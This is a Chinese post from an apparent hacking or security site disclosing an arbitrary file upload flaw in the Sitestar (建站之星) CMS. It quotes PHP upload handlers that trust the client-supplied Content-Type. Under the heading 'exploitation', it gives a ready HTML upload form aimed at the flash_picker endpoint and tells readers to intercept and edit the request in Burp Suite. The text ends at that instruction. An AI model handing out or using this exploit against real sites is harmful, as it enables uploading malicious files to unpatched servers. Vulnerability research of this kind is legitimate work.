建站之星任意文件上传漏洞下载

来源：黑吧安全网　浏览：1371次　时间：2014-04-28

#1 漏洞产生

/module/mod_media.php

flash_picker() 和 image_picker() 两个函数

image_picker() 函数

$typeArr = array('image/jpeg','image/pjpeg');

        $flash_typeArr = array('image/jpeg','image/pjpeg');

        $file_info =& ParamHolder::get('localfile', array(), PS_FILES);

        $file_info['name'] = Toolkit::changeFileNameChineseToPinyin($file_info['name']);

        if ( sizeof($file_info) > 0 && isset($file_info['name']) )

        {

	        // 文件大小

	        if ( ($file_info['size'] == 0) || ($file_info['size'] > $maxsize) ) {

	        	$err = __('Upload size limit').':2M';

	        // 文件类型

        	} elseif ( !in_array( $file_info['type'], $typeArr ) ) {

	        	$err = __('Supported file format').':jpg';

	        }else {

	        	$dest = ROOT.'/upload/image/';

		        //$file_info['name'] = Toolkit::randomStr(8).strrchr($file_info["name"],".");

		        if (preg_match("/^WIN/i", PHP_OS) && preg_match("/[\x80-\xff]./", $file_info['name'])) {

					$file_info['name'] = iconv("UTF-8", "GBK//IGNORE", $file_info['name']);

				}

	        	if ( move_uploaded_file( $file_info['tmp_name'], $dest.$file_info['name'] ) ) {

	        		ParamParser::fire_virus($dest.$file_info['name']);

	        		$wincls = 'OK';

	        		// 图片水印

		        	if( WATERMARK_STATUS ) $this->img_restruck($file_info['name']);

	        		$this->assign('fname', $file_info['name']);

	        	} else { $err = __('Uploading file failed!'); }

	        }

        }

flash_picker()函数

$typeArr = array('application/x-shockwave-flash','application/x-download');

        $file_info =& ParamHolder::get('localfile', array(), PS_FILES);

        if ( sizeof($file_info) > 0 && isset($file_info['name']) )

        {

	        // 文件大小

	        if ( ($file_info['size'] == 0) || ($file_info['size'] > $maxsize) ) {

	        	$err = '上传大小限制:2M';

	        // 文件类型

        	} elseif ( !in_array( $file_info['type'], $typeArr ) ) {

	        	//$err = '支持的文件类型:swf|flv';

	        	$err = '支持的文件类型:swf';

	        } else {

	        	$dest = ROOT.'/upload/flash/';

	        	$file_info['name'] = Toolkit::randomStr(8).strrchr($file_info["name"],".");

	        	if ( move_uploaded_file( $file_info['tmp_name'], $dest.$file_info['name'] ) ) {

	        		ParamParser::fire_virus($dest.$file_info['name']);

	        		$wincls = 'OK';

	        		$this->assign('fname', $file_info['name']);

	        	} else { $err = '上传失败'; }

	        }

        }

看见了吧两个函数都只检查了Content-Type参数

你们难道不知道Content-Type参数可以被完全控制吗?

鉴于这两个文件上传比较简单就不多说了...

#2 漏洞利用

将如下代码保存为upload.htm

<form enctype="multipart/form-data" method="post" action="http://www.vulns.org/sitestar/index.php?_m=mod_media&_a=flash_picker">

Flash:<input type="file" name="localfile"/>

<input id="Upload" type="submit" value="Upload">

</form>

访问upload.php并上传文件,上传的时候用Burpsuite 抓包并修改